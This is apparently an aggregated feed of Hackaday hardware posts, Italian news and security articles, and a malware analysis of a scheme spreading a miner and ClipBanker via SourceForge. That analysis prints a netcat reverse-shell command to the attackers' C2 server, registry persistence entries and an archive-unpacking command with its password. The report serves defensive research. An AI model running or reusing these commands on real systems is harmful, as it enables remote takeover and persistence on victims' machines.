Turning Old Cellphones into SBCs
[David] sent us a tip about a company in Belgium, Citronics, that is looking to turn old cellphones into single-board computers for embedded Linux applications. We think it’s a great idea, and have long lamented how many pocket supercomputers simply get tossed in the recycling stream, when they could be put to use in hacker projects. So far, it looks like Citronics only has a prototyping breakout board for the Fairphone 2, but it’s a promising idea.
One of the things that’s stopping us from re-using old phones, of course, is the lack of easy access to the peripherals. On the average phone, you’ve got one USB port and that’s it. The Citronics dev provides all sorts of connectivity: 4x USB 2.0, 1x Ethernet 10/100M, and a Raspberry Pi Header (UART, SPI, I2C, GPIO). At the same time, for better or worse, they’ve done away with the screen and its touch interface, and the camera too, but they seem to be keeping all of the RF capabilities.
The whole thing runs Linux, which means that this won’t work with every phone out there, but projects like PostmarketOS and others will certainly broaden the range of usable devices. And stripping off the camera and screen has the secondary advantages of removing the parts that get most easily broken and have the least support from custom Linux distros.
We wish we had more details about the specifics of the break-out boards, but we like the idea. How long before we see an open-source implementation of something similar? There are so many cheap used and broken cellphones out there that it’s certainly a worthwhile project!
Offerta Speciale: Paghi il Telefono ed in omaggio ricevi un Malware! La nuova ondata Triada
Gli specialisti di Kaspersky Lab hanno scoperto una nuova versione del malware Triada. Il malware è stato trovato sui nuovi dispositivi Android. Secondo l’azienda, solo dal 13 al 27 marzo 2025, più di 2.600 utenti in diversi Paesi hanno incontrato la nuova versione di Triada.
Gli esperti scrivono che la nuova versione di Triada è distribuita nel firmware dei dispositivi Android infetti e si trova nel framework di sistema. Ciò significa che il malware può penetrare in ogni processo dello smartphone della vittima.
Il malware ha ampie funzionalità e offre agli aggressori opportunità pressoché illimitate di controllare il gadget, ad esempio è in grado di:
- dirottare gli account degli utenti nei servizi di messaggistica istantanea e nei social network, in particolare Telegram e TikTok;
- inviare segretamente messaggi presumibilmente per conto della vittima su WhatsApp e Telegram, e poi cancellarli per cancellare le tracce;
- rubare criptovalute sostituendo gli indirizzi dei portafogli crittografici nelle applicazioni richieste;
- monitorare l’attività della vittima nei browser e sostituire i link;
- sostituire i numeri durante le chiamate (per reindirizzare l’abbonato al contatto necessario agli aggressori);
- controllare gli SMS (intercettare, inviare ed eliminare i messaggi);
- consentire l’invio di SMS premium per ricevere servizi a pagamento;
- scaricare ed eseguire altri programmi sullo smartphone infetto;
- bloccare le connessioni di rete, ad esempio per interferire con il funzionamento dei sistemi antifrode.
“Il Trojan Triada è noto da molto tempo e rimane ancora una delle minacce più complesse e pericolose per Android. La sua nuova versione penetra nel firmware degli smartphone prima ancora che i gadget raggiungano le mani degli utenti. È probabile che a un certo punto la catena di fornitura venga compromessa, quindi i negozi potrebbero non sapere nemmeno di vendere smartphone basati su Triada. Allo stesso tempo, gli autori della nuova versione di Triada stanno monetizzando attivamente i loro sforzi. Sulla base dell’analisi delle transazioni, sono stati in grado di trasferire circa $ 270.000 in diverse criptovalute sui loro portafogli crittografici. Tuttavia, in realtà, questa cifra potrebbe essere più alta, poiché gli aggressori hanno preso di mira anche Monero, una criptovaluta non rintracciabile”, commenta Dmitry Kalinin, esperto di sicurezza informatica presso Kaspersky Lab.
Si segnala che gli smartphone infetti possono essere acquistati presso negozi online non autorizzati, ma non viene specificato quali. Ricordiamo che non è la prima volta che i ricercatori avvertono che Triada può essere preinstallato sui dispositivi Android, che finiscono per essere infettati fin dal primo momento.
Ad esempio, nel 2018, gli specialisti di Doctor Web avevano lanciato l’allarme in merito alla scoperta di 42 modelli di smartphone Android economici infettati da Triada. E nel 2023, il ricercatore indipendente sulla sicurezza informatica Daniel Milisic ha segnalato un malware preinstallato su vari dispositivi.
Di solito, in questi casi si parla di dispositivi economici e gadget di provenienza molto dubbia. Per questo motivo, gli esperti raccomandano di acquistare gli smartphone solo da rivenditori autorizzati e di installare soluzioni di sicurezza per una maggiore tranquillità.
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Fili di guerra. Dopo quelli aerei, Kyiv sperimenta la fibra ottica nei droni terrestri
@Notizie dall'Italia e dal mondo
Nel conflitto ucraino sia le forze russe che quelle ucraine stanno facendo sempre più spesso ricorso a fibre ottiche cablate per i collegamenti di controllo dei droni aerei First-person-view (Fpv). Tali collegamenti non possono infati essere disturbati dalle apparecchiature di guerra elettronica, e non
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Un trilione di dollari per la Difesa Usa. Ecco il piano di Trump per il 2026
@Notizie dall'Italia e dal mondo
Il più grande stanziamento per la Difesa statunitense dalla Seconda guerra mondiale, questa l’idea di Donald Trump per potenziare le Forze armate e rilanciare la dottrina Peace through strength. “Abbiamo approvato un bilancio, vi piacerà sentirlo, che si aggira
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Vulnerabilità dei sistemi anticollisione nell’aviazione civile: come mitigare i rischi
@Informatica (Italy e non Italy 😁)
Sono due le vulnerabilità scoperte e possono causare alterazioni nel funzionamento dei sistemi anticollisione in uso nei velivoli di aviazione civile. Ecco come sono state rilevate e perché le patch sono urgenti
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Another Masterful Gambit: DOGE Moves From Secure, Reliable Tape Archives to Hackable Digital Records
DOGE claimed it saved "$1M per year" by converting 14,000 magnetic tapes to digital storage.Samantha Cole (404 Media)
Radio MIR. Sinistra, nuovi scenari di guerra e difesa dei diritti
I mutati scenari di guerra stanno travolgendo l'ordine mondiale creato dopo la fine dell'Unione Sovietica. La globalizzazione sia dei diritti che dell'economiaRifondazione Comunista
Il 19enne membro della cyber-gang d’élite Scattered Spider rischia 60 anni di reclusione
Un membro del gruppo hacker di Scattered Spider, è stato accusato di furto di criptovaluta su larga scala e operazioni di hacking dei sistemi aziendali. Noah Michael Urban è stato arrestato all’inizio del 2024 , patteggiando le accuse in Florida, dove è stato accusato di frode e furto di identità. Ora rischia fino a 60 anni di carcere.
Secondo gli inquirenti, Urban, era un membro chiave di uno dei gruppi di hacker più aggressivi degli ultimi anni. Scattered Spider è diventato famoso per l’utilizzo del SIM Swapping, un metodo che consente di prendere il controllo del numero di telefono della vittima e di aggirare l’autenticazione a due fattori. Grazie a questa tecnica il gruppo ha avuto accesso a portafogli crittografici, sistemi aziendali e documenti.
Urban e i suoi complici hanno operato tra agosto 2022 e marzo 2023. Durante questo periodo, secondo l’accusa, sono riusciti a rubare milioni di dollari in criptovaluta, nonché a penetrare nell’infrastruttura IT di grandi aziende, da cui sono stati rubati dati riservati. Durante la perquisizione, a casa di Urban sono stati sequestrati beni digitali per un valore di 2,89 milioni di dollari, conservati sul suo computer di casa.
Secondo i documenti del caso, tre imputati sono stati arrestati, mentre la sorte degli altri due resta sconosciuta. Si stima che i danni totali causati dalle azioni del gruppo siano compresi tra 9,5 e 25 milioni di dollari. Urban si è impegnato a risarcire più di 13 milioni di dollari a favore di più di 30 vittime e ha inoltre rinunciato a tutti i fondi digitali sequestrati.
Gli investigatori hanno scoperto che sotto gli pseudonimi “Sosa”, “Elijah” e “King Bob”, Urban, insieme ad altri membri della “comunità”, era attivamente coinvolto nell’hacking di account, negli attacchi di phishing e nell’utilizzo di dati rubati per ottenere l’accesso ai portafogli crittografici. In un caso, ha hackerato l’account del conglomerato mediatico americano AOL, ha eseguito con successo uno scambio di SIM tramite l’operatore AT&T e ha rubato circa 374 mila dollari.
Durante gli interrogatori, Urban ha confermato di aver ricevuto criptovaluta esclusivamente tramite attività criminali nell’ambito di Scattered Spider. A sole 16 vittime sono stati rubati oltre 2,6 milioni di dollari. Secondo le sue stime, tra gennaio 2021 e marzo 2023 ha guadagnato personalmente diversi milioni di dollari e ha preso parte a furti per importi ancora maggiori.
In passato i giornalisti avevano anche collegato Urban ad attacchi contro musicisti famosi e a fughe di notizie di album inediti. Secondo l’atto d’accusa, avrebbe collaborato con Ahmed Hossam Elbadewi, Evans Osiebo, Joel Evans, Tyler Buchanan e altri. Tra le vittime figurano aziende operanti nei settori dell’intrattenimento, delle telecomunicazioni, delle tecnologie cloud e dei servizi di criptovaluta.
Scattered Spider ha colpito anche MGM e Caesars nel 2023, così come gli attacchi informatici a Coinbase, Twilio, Mailchimp, LastPass, Riot Games e Reddit. Secondo i dati La recente campagna di phishing del gruppo Group-IB ha portato alla compromissione di circa 10.000 account di 136 organizzazioni.
Le autorità statunitensi sottolineano che i membri di Scattered Spider sono madrelingua inglese. Ciò a conferito loro un vantaggio nell’ingegneria sociale. Hanno utilizzato con successo tattiche di Man in the Middle e attacchi di phishing tramite SMS,
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Rapporto Amnesty. Pena di morte nel 2024: record di esecuzioni dal 2015
@Notizie dall'Italia e dal mondo
Iran, Iraq e Arabia Saudita responsabili del 91 per cento delle esecuzioni. La pena capitale è usata come strumento di repressione contro manifestanti e gruppi etnici. Aumento delle esecuzioni per reati legati alla droga
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Attackers distributing a miner and the ClipBanker Trojan via SourceForge
Recently, we noticed a rather unique scheme for distributing malware that exploits SourceForge, a popular website providing software hosting, comparison, and distribution services. The site hosts numerous software projects, and anyone can upload theirs. One such project, officepackage, on the main website sourceforge.net, appears harmless enough, containing Microsoft Office add-ins copied from a legitimate GitHub project. The description and contents of officepackage provided below were also taken from GitHub.
Description of the “officepackage” project
Few know that projects created on sourceforge.net get a sourceforge.io domain name and web hosting services. Pages like that are well-indexed by search engines and appear in their search results.
Example of a search query and results containing officepackage.sourceforge.io
The project under investigation has been assigned the domain officepackage.sourceforge[.]io, but the page displayed when you go to that domain looks nothing like officepackage on sourceforge.net. Instead of the description copied from GitHub, the visitor is presented with an imposing list of office applications complete with version numbers and “Download” buttons.
The project as seen on the officepackage.sourcefoge.io domain
Hovering over one of the buttons reveals a seemingly legit URL in the browser status bar: https[:]//loading.sourceforge[.]io/download. It is easy to make the mistake of associating that URL with officepackage, as the buttons are on that project’s page. However, the loading.sourceforge.io domain suggests a different project on sourceforge.net, named loading.
URL associated with the “Download” button
Clicking the link redirects to a page with yet another “Download” button, this time in English.
Page for downloading the suspicious archive
Clicking that button finally downloads a roughly seven-megabyte archive named vinstaller.zip. This raises some red flags, as office applications are never that small, even when compressed.
The infection chain: from searching for office software to downloading an installer
The downloaded archive contains another password-protected archive, installer.zip, and a Readme.txt file with the password.
Inside installer.zip is a file named installer.msi. This is a Windows Installer file that exceeds 700 megabytes. Apparently, the large size is intended to convince users they are looking at a genuine software installer. Attackers use the file pumping technique to inflate the file size by appending junk data. The file in question was padded with null bytes. After we stripped the junk bytes, its true size was 7 megabytes.
Running the installer creates several files, with two being of interest to us: UnRAR.exe (a console archive utility) and a password-protected archive named 51654.rar. The installer then executes an embedded Visual Basic script. Attackers have long distributed password-protected archives along with unpacking utilities, passing the password via the command line. However, this case has an intermediary step. The installer files lack an archive password. Instead, to continue the infection chain, the VB script runs a PowerShell interpreter to download and execute a batch file, confvk, from GitHub. This file contains the password for the RAR archive. It also unpacks malicious files and runs the next-stage script.
The infection chain: from launching the installer to downloading the confvk batch script
Here is a breakdown of how the batch script works. First, it checks for an existing infection by searching for the AutoIt interpreter at a specific path. If AutoIt is found, the script deletes itself and exits. If not, the script checks for processes associated with antivirus software, security solutions, virtual environments, and research tools. If it detects anything like that, it deletes itself.
If both checks pass, the script unpacks the RAR archive and runs two PowerShell scripts within its code.
"%ProgramData%\dist\UnRAR.exe" x -y -p147852369 "%ProgramData%\dist\51654.rar" "%ProgramData%\dist\"
Command to unpack the RAR archive executed by the batch file
One of the PowerShell scripts sends a message to a certain chat using the Telegram API. The message contains system information, the infected device’s external IP address and country, CPU name, operating system, installed antivirus, username, and computer name.
Code snippet from confvk with commands to unpack the malicious archive and run the Telegram file-sending script
The other PowerShell script downloads another batch file, confvz, to process the files that were extracted from the RAR archive.
The contents of the archive can be seen in the screenshot above. Below is a summary of each file.
File | Description |
Input.exe | AutoIt script interpreter |
Icon.dll | Clean dynamic-link library with a compressed AutoIt script appended to it |
Kape.dll | Clean dynamic-link library with a compressed AutoIt script appended to it |
ShellExperienceHost.exe | Netcat network utility executable |
libssl-1_1.dll | Netcat dependency dynamic-link library |
vcruntime140.dll | Netcat dependency dynamic-link library |
libcrypto-1_1.dll | Netcat dependency dynamic-link library |
The confvz batch file creates three subdirectories at %ProgramData% and moves the unpacked archive files into those. The first subdirectory receives Input.exe and Icon.dll, the second gets another Input.exe copy with Kape.dll, and the third gets all netcat files. The batch file then creates ini.cmd and init.cmd batch scripts at %USERPROFILE%\Cookies\ to run the files it copied. These scripts execute Input.exe (the AutoIt interpreter), passing the paths to Icon.dll and Kape.dll (both containing compressed AutoIt scripts) as arguments.
Contents of the confvz batch file
Next, confvz generates keys in the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\*. These link to the ini.cmd and init.cmd batch files. The keys allow running files using shortened names. For example, the registry key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\install.exe"::"%USERPROFILE%\Cookies\ini.cmd
launches ini.cmd when running install.exe. Similarly, start.exe is registered as a link to init.exe, and Setup.exe links to the system utility %WINDIR%\System32\oobe\Setup.exe, normally launched during OS installation. We will revisit this utility later.
Then confvz creates services named NetworkConfiguration and PerformanceMonitor to autostart the batch files, and a service named Update to directly run the AutoIt interpreter without intermediate batch files.
Additionally, as a backup autostart method, confvz adds this registry key:
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe"::Debugger="%WINDIR%\System32\cmd.exe /c start start.exe"
This runs a debugger when MicrosoftEdgeUpdate.exe is started. The debugger is set to execute start.exe, which, based on the earlier registry keys, points to init.cmd.
Using the built-in WMIC utility, an event filter is created to trigger a handler every 80 seconds. While disabled by default in more recent Windows versions, WMIC still functions in older systems.
The handler executes the following command:
ShellExperienceHost.exe --ssl apap.app 445 -e cmd.exe
ShellExperienceHost.exe is the netcat executable from the malicious archive. The arguments above make the utility establish an encrypted connection with the C2 server apap[.]app on port 445 and launch a command-line interpreter with redirected input/output through that connection. This essentially creates a remote command line with apap[.]app:445 as the C2 server.
Finally, confvz creates a file:
%WINDIR%\Setup\Scripts\ErrorHandler.cmd
This is a custom script you can build in Windows to streamline troubleshooting during OS installation. If a critical error occurs, the %System32%\oobe\Setup.exe utility finds and executes this file. However, the attackers have found a way to exploit it for automatic startup. They achieve this by again using the operating system’s built-in WMIC utility to establish an event filter that triggers the handler every 300 seconds. The handler is specified as %WINDIR%\System32\cmd.exe /c start Setup.exe, while Setup.exe, according to the registry keys created earlier, references the utility %WINDIR%\System32\oobe\Setup.exe, which executes ErrorHandler.cmd upon launch. The ErrorHandler.cmd file contains a short PowerShell script that uses the Telegram API to retrieve and execute a text string. This is another remote command line, but its output is not sent anywhere.
The infection chain: from executing confvk to setting up all the auto-start methods
The key malicious actions in this campaign boil down to running two AutoIt scripts. Icon.dll restarts the AutoIt interpreter and injects a miner into it, while Kape.dll does the same but injects ClipBanker. ClipBanker is a malware family that replaces cryptocurrency wallet addresses in the clipboard with the attackers’ own. Users of crypto wallets typically copy addresses instead of typing them. If the device is infected with ClipBanker, the victim’s money will end up somewhere entirely unexpected.
Victims
The officepackage.sourceforge[.]io site has a Russian interface, suggesting a focus on Russian-speaking users. Our telemetry indicates that 90% of potential victims are in Russia, where 4,604 users encountered the scheme between early January and late March.
Takeaways
Distributing malware disguised as pirated software is anything but new. As users seek ways to download applications outside official sources, attackers offer their own. They keep looking for new ways to make their websites look legit. The scheme described here exploits SourceForge feature of creating a sourceforge.io subdomain for each sourceforge.net repository.
The persistence methods are worthy of note as well. Attackers secure access to an infected system through multiple methods, including unconventional ones. While the attack primarily targets cryptocurrency by deploying a miner and ClipBanker, the attackers could sell system access to more dangerous actors.
We advise users against downloading software from untrusted sources. If you are unable to obtain some software from official sources for any reason, remember that seeking alternative download options always carries higher security risks.
LayerLapse Simplifies 3D Printer Time-lapse Shots
We know you’ve seen them: the time-lapses that show a 3D print coming together layer-by-layer without the extruder taking up half the frame. It takes a little extra work compared to just pointing a camera at the build plate, but it’s worth it to see your prints materialize like magic.
Usually these are done with a plugin for OctoPrint, but with all due respect to that phenomenal project, it’s a lot to get set up if you just want to take some pretty pictures. Which is why [Whopper Printing] put together the LayerLapse. This small PCB is designed to trigger your DSLR or mirrorless camera once its remotely-mounted hall effect sensor detects the presence of a magnet.The remote hall effect sensor.
The idea is that you just need to stick a small magnet to your extruder, add a bit of extra G-code that will park it over the sensor at the end of each layer, and you’re good to go. There’s even a spare GPIO pin broken out should you want to trigger something else on each layer of your print. Admittedly we can’t think of anything else right now that would make sense, other than some other type of camera, but we’re sure some creative folks out there could put this feature to use.
Currently, [Whopper Printing] is selling the LayerLapse as a finished product, though it does sound like a kit version is in the works. There’s also instructions for building a DIY version of the hardware using your microcontroller of choice. Whether you buy or build the hardware, the firmware is available under the MIT license for your tinkering pleasure.
Being hardware hackers, we appreciate the stand-alone nature of this solution. But if you’re already controlling your printer through OctoPrint, you’re probably better off just setting up one of the available time-lapse plugins.
Rsync: cos’è e come usarlo per creare backup dati sincronizzati sotto sistemi Linux
@Informatica (Italy e non Italy 😁)
Rsync è un tool open source che consente di effettuare in maniera semplice ed efficiente il backup dei dati sincronizzando i file e le cartelle tra la directory sorgente e la directory di destinazione, sia in locale che
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A Gaza il “perimetro” della morte. E un attacco choc alla tenda dei giornalisti
@Notizie dall'Italia e dal mondo
"Zona cuscinetto", così la chiamano a Tel Aviv. Ma per l'esercito israeliano è una nuova «Hiroshima». Ieri almeno 42 morti, tra cui un reporter di Palestine Today Tv Immagini strazianti
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Vennero anche Laura e Inti, due attori che fecero una toccante performance per Julian.
Ieri mattina con serenità e a casa, Laura ha lasciato il Corpo dopo la tremenda malattia.
Le funzioni si terranno a mercoledì 9 aprile alle 15 a Roma, alla chiesa degli Artisti Santa Maria in Montesanto. Chiunque voglia venire a dare un saluto a Laura ed eventualmente partecipare con una breve testimonianza artistica dopo la funzione nel piazzale antistante alla chiesa può segnalarlo qui.
Riposa in Pace Laura, nel paradiso di coloro che non si arrendono mai.
FREE ASSANGE Italia
L' 11 febbraio 2023 facemmo un sit-in per la liberazione di Assange davanti all'ambasciata australiana a Roma. Vennero anche Laura e Inti, due attori che fecero una toccante performance per Julian.Telegram
Kinmen Rising Project-金門最後才子🇺🇦 reshared this.
Proteggere il WiFi nascondendo il nome? Si tratta di una falsa sicurezza
La sicurezza, soprattutto quando si parla di reti WiFi, è spesso oggetto di fraintendimenti e luoghi comuni. In questa serie di articoli della nostra Rubrica WiFI, vogliamo sfatare alcuni dei falsi miti più diffusi. Offrendo spiegazioni chiare, dati concreti e consigli pratici. L’obiettivo è aiutarti a muoverti con maggiore consapevolezza nel mondo delle connessioni senza fili
In ogni articolo affronteremo un mito, ne analizzeremo le origini, presenteremo evidenze tecniche e concluderemo con le nostre considerazioni e suggerimenti.
Cominciamo da uno dei più comuni: nascondere il nome della rete (SSID) è davvero un modo efficace per aumentare la sicurezza?
Come Funziona:
Nascondere la rete WiFi significa semplicemente disabilitare la trasmissione del SSID (Service Set Identifier) nei beacon frame. Ovvero disabilitare i segnali periodici inviati dall’access point per annunciare la presenza della rete WiFi ai dispositivi vicini.
In pratica, il nome della rete non compare più nella lista delle reti disponibili. Tuttavia, questa misura può essere considerata “puramente cosmetica” e non offre alcuna reale protezione, anzi può diventare un punto debole.
Vediamo cosa succede nel dettaglio:
- L’access point smette di annunciare attivamente la rete:
Disabilitando il broadcast del SSID, l’AP continua a inviare i beacon frame1, ma il campo SSID viene lasciato vuoto o impostato come “null”. Questo fa sì che il nome della rete sembri nascosto. - I client devono inviare richieste attive per trovare la rete:
I client configurati per connettersi a una rete nascosta non possono più scoprirla passivamente. Devono quindi inviare probe request2 attive per cercare quella rete specifica, includendo nel pacchetto proprio l’SSID. - L’SSID è incluso in chiaro nelle probe request:
Anche se l’AP non annuncia più la rete, i dispositivi client rivelano comunque l’SSID ogni volta che tentano di connettersi. Queste richieste contengono il nome della rete in chiaro e possono essere facilmente intercettate. - Processo di connessione e relative informazioni transitano in chiaro:
Le probe request e le relative risposte non sono cifrate. Questo significa che chiunque stia ascoltando il traffico WiFi – con strumenti liberamente disponibili e di facile utilizzo – può rilevare il nome della rete nascosta in pochi secondi.
Evidenza
youtube.com/embed/dy6nrzO807g?…
⚠️ Questo video è a scopo educativo! Non utilizzarlo per attività illegali o senza autorizzazione.⚠️
In questo video realizzato da Matteo Brandi vogliamo dare un evidenza pratica su:
✅ Come funzionano le reti WiFi nascoste
✅ Quali strumenti usare per rilevare un SSID nascosto
✅ Come scoprire il nome della rete in modo semplice e pratico
Conclusione
Come mostrato nel video qui sopra, nascondere il nome della rete (SSID) non offre alcun reale vantaggio in termini di sicurezza. Anzi:
- Gli hacker possono intercettare il nome della rete in pochi minuti, rendendo questa “protezione” del tutto illusoria.
- Una rete nascosta può addirittura attirare più attenzione, perché una configurazione non standard può essere vista come un obiettivo potenzialmente interessante da esplorare.
- Nascondere l’SSID non è una misura di sicurezza efficace: il nome della rete può essere facilmente rilevato anche con strumenti di base, rendendo questa pratica inutile contro qualsiasi attacco, anche non sofisticato.
Nei prossimi articoli affronteremo altri falsi miti, come:
- “Se non faccio pagamenti o login, sono al sicuro”
- “Non corro rischi se mi connetto solo a siti HTTPS”
- “Se uso una VPN, sono completamente al sicuro”
- “Il WiFi aperto è solo per i guest, quindi non ci sono rischi per l’azienda”
Continua a seguirci la nostra Rubrica WiFI per navigare informato, protetto e consapevole.
- Beacon Frame
Un beacon frame è un tipo di frame di gestione utilizzato nelle reti WLAN basate sullo standard IEEE 802.11. Contiene informazioni fondamentali sulla rete e viene trasmesso periodicamente per:
– Annunciare la presenza di una rete wireless (WLAN);
– Fornire un segnale di sincronizzazione ai dispositivi connessi, aiutandoli a mantenere la comunicazione allineata.
Come Spiegato nell’articolo “Dentro le reti wireless-ieee-802-11: Architettura e Segnale WiFi”
Nelle reti con infrastruttura (in modalità Infrastructure Basic Service Set, BSS), i beacon frame vengono inviati dall’access point (AP).
Nelle reti ad hoc (o Independent BSS, IBSS), invece, la generazione dei beacon è distribuita tra i vari dispositivi partecipanti.
NB: Dobbiamo sempre tenere presente gli effetti sull’ambiente radio. Nel caso della banda a 2,4 GHz, se si configurano più di 15 SSID su canali non sovrapposti (o più di 45 SSID in totale), i beacon frame iniziano a occupare una quantità significativa di tempo trasmissivo (air time).
Questo fenomeno può degradare sensibilmente le prestazioni della rete, anche se la maggior parte delle reti è inattiva, poiché i beacon continuano comunque a essere trasmessi periodicamente. ↩︎ - Probe Request: Una probe request è un messaggio inviato da un dispositivo client (come uno smartphone o un laptop) per cercare reti WiFi disponibili. Quando un dispositivo tenta di connettersi a una rete WiFi nascosta o salvata, invia probe request specifiche contenenti l’SSID della rete che sta cercando. Questi messaggi non sono cifrati, quindi possono essere intercettati facilmente da chiunque stia monitorando il traffico di rete. ↩︎
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Printed Robotic Arm Pumps Up With Brushless Motors
[JesseDarr] recently wrote in to tell us about their dynamic Arm for Robitc Mischief (dARM), a mostly 3D printed six degrees of freedom (6DOF) robotic arm that’s designed to be stronger and more capable than what we’ve seen so far from the DIY community.
The secret? Rather than using servos, dARM uses brushless DC (BLDC) motors paired with ODrive S1 controllers. He credits [James Bruton] and [Skyentific] (two names which regular Hackaday readers are likely familiar with) for introducing him to not only the ODrive controllers, but the robotics applications for BLDCs in the first place.
dARM uses eight ODrive controllers on a CAN bus, which ultimately connect up to a Raspberry Pi 4B with a RS485 CAN Hat. The controllers are connected to each other in a daisy chain using basic twisted pair wire, which simplifies the construction and maintenance of the modular arm.
As for the motors themselves, the arm uses three different types depending on where they are located, with three Eaglepower 8308 units for primary actuators, a pair of GB36-2 motors in the forearm, and finally a GM5208-24 for the gripper. Together, [JesseDarr] says the motors and gearboxes are strong enough to lift a 5 pound (2.2 kilogram) payload when extended in a horizontal position.
The project’s documentation includes assembly instructions for the printed parts, a complete Bill of Materials, and guidance on how to get the software environment setup on the Raspberry Pi. It’s not exactly a step-by-step manual, but it looks like there’s more than enough information here for anyone who’s serious about building a dARM for themselves.
If you’d like to start off by putting together something a bit easier, we’ve seen considerably less intimidating robotic arms that you might be interested in.
youtube.com/embed/Pv4tDsQZbRw?…
ARGENTINA. Le lotte si uniscono e la società civile scende in piazza contro Milei
@Notizie dall'Italia e dal mondo
Il 9 aprile comincerà uno sciopero di 36 ore appoggiato da movimenti sociali, organizzazioni dei diritti umani, partiti di opposizione, che si unirà alla protesta di pensionate e pensionati
L'articolo ARGENTINA. Le lotte si uniscono e la
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freezonemagazine.com/articoli/…
Jennà Romano e la sua creatura, i Letti Sfatti (uno dei più azzeccati nomi del rock italiano) da oltre trent’anni spargono musica e poesia di bellezza e protesta dalla provincia napoletana ottenendo prestigiosi premi e alta considerazione dalla critica. Jennà, in carriera, ha nel suo book una ricca collaborazione con artisti di
"L'artrite è una malattia che colpisce i vecchi."
Niente di più sbagliato.
Mi trovo nel corridoio della reumatologia e già così, a occhio, si vede quanto sia sbagliata questa convinzione, che pure è difficilissima da sradicare.
Il fatto è che, nella nostra testa, spesso scatta un meccanismo che dice "non ti riguarda, riguarda solo la persona che è [caratteristica a caso]".
Ci piace pensare di essere al sicuro, che le sfortune riguardino solo gli altri.
Ma l'artrite non è così, come molte altre cose. E forse si dovrebbe conoscerla meglio, per aiutare e comprendere le tante persone che ne soffrono. Si dovrebbe cercare di mettersi nei panni dell'altro, se non altro perché il concetto di 'altro' non esiste; siamo tutti soggetti alle stesse difficoltà nella vita.
Comprenderlo che sarebbe già un grande aiuto.
#artrite #artritepsoriasica #fibromialgia #malatiinvisibili #podcastitaliano #malattiereumatiche #reumatologia #reumatologo #reumatologiapediatrica #reumatologia #reumatismi #psoriasi
Emanuele reshared this.
Osservatorio Crif 2024: il mercato dei dati personali cresce nel dark web
@Informatica (Italy e non Italy 😁)
Lazio, Lombardia, Sicilia e Campania sono le regioni più nel mirino. Superano la soglia dei 2 milioni le segnalazioni di esposizioni di dati solo nell'ultimo anno. Ecco i dati emersi dall'Osservatorio Cyber del Crif 2024 e l'opinione degli esperti
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Ethical hacking: cos’è e perché è utile a prevenire cyber attacchi e violazioni di sicurezza
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Gli attacchi alla sicurezza crescono in modo esponenziale e l’impatto sui sistemi digitali è così ingente che, nei casi peggiori, può portare al blocco operativo dell’azienda vittima. Ecco perché le attività di
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Gli audit congiunti fra DPO e CISO segnano un’alleanza: per proteggere meglio
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Serve un cambio di paradigma per progettare e realizzare audit congiunti tra DPO e CISO, in grado di unificare le verifiche, ottimizzare le risorse e rafforzare la postura di sicurezza dell’intera organizzazione. Ecco una buona
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freezonemagazine.com/rubriche/…
Il comportamento disinvolto della protagonista di Bocca di rosa di Fabrizio De André, il parroco che non disprezza fra un miserere e un’estrema unzione il bene effimero della bellezza, il sindaco che l’accompagna alla stazione con la banda perché lei l’amore non lo fa per noia o professione ma per passione, tutti fanno da sfondo […]
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Il
RDP utilizzato dagli hacker russi per colpire le istituzioni governative e militari europee
Il Google Threat Intelligence Group (GTIG) ha identificato una nuova ondata di attacchi informatici attribuendola a un gruppo denominato UNC5837.
La campagna, osservata a partire da ottobre 2024, adotta un approccio unico: l’invio di e-mail di phishing contenenti allegati in formato .rdp. Questi file, una volta aperti, avviano una connessione RDP dalla macchina della vittima a un server controllato dagli aggressori, senza mostrare i consueti banner di avviso per la sessione interattiva.
In questa sofisticata campagna di spionaggio, rivolta a istituzioni governative e militari europee, alcuni hacker ritenuti collegati ad attori statali russi hanno sfruttato una funzionalità meno nota del protocollo RDP (Remote Desktop Protocol) di Windows per infiltrarsi nei sistemi.
Le prove suggeriscono che questa campagna potrebbe aver comportato l’uso di uno strumento proxy RDP come PyRDP per automatizzare attività dannose come l’esfiltrazione di file e l’acquisizione degli appunti. Questa tecnica è stata precedentemente soprannominata “Rogue RDP”.
Esempio della campagna di phishing (fonte Google)
Le e-mail contenevano file .rdp firmati, con certificati SSL validi, per aggirare le misure di sicurezza che avrebbero avvisato gli utenti di potenziali rischi. Questi file sono configurati per mappare le risorse dal computer della vittima al server dell’attaccante.
La campagna ha probabilmente consentito agli aggressori di leggere le unità delle vittime, rubare file, catturare dati degli appunti (incluse le password) e ottenere variabili di ambiente delle vittime. Sebbene non abbiamo osservato l’esecuzione diretta di comandi sulle macchine delle vittime, gli aggressori potrebbero presentare applicazioni ingannevoli per phishing o ulteriori compromissioni.
L’obiettivo principale della campagna sembra essere lo spionaggio e il furto di file, sebbene la piena portata delle capacità dell’aggressore rimanga incerta. Questa campagna funge da duro promemoria dei rischi per la sicurezza associati alle oscure funzionalità RDP, sottolineando l’importanza della vigilanza e della difesa proattiva.
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Giornalisti, un appello da #Gaza
Giornalisti, un appello da Gaza
Abbiamo ricevuto questo appello che riportiamo fedelmente. Altrenotizie.org si associa alle richieste dei giornalisti palestinesi e chiede l'immediato stop alla loro persecuzione come a quella di tutto il popolo palestinese.www.altrenotizie.org
The 1980s Computer, French Style
Should you travel around Europe, you may notice that things in France are ever so slightly different. Not necessarily better or worse, simply that the French prefer to plough their own furrow rather than importing cultural tends from their neighbors.
In the 1980s this was evident in their home computers, because as well as a Minitel terminal in your house, you could have an all-French machine plugged into your TV. [Retro Krazy] has just such a machine — it’s a Matra Hachette Alice 32, and its red plastic case hides hardware any of us would have been proud to own back in the day.
At first sight it appears superficially similar to a Sinclair Spectrum, with its BASIC keywords next to the keys. But under that slightly calculator style AZERTY keyboard is an entirely different architecture, a Motorola 6803. The first Alice computer was a clone of a Radio Shack model, and while this one has no compatibility with its predecessor it retains some silicon choices. On the back are a series of DIN sockets, one for a SCART adapter, and more for serial connectivity and a cassette deck. The overall impression is of a well-engineered machine, even if that red color is a little garish.
The Alice hasn’t appeared here on its own before, but we have taken a look at French retrocomputers here in the past.
youtube.com/embed/_Pr--TXhnX4?…
Identity Management Day: Proteggere le Identità nell’Era Digitale
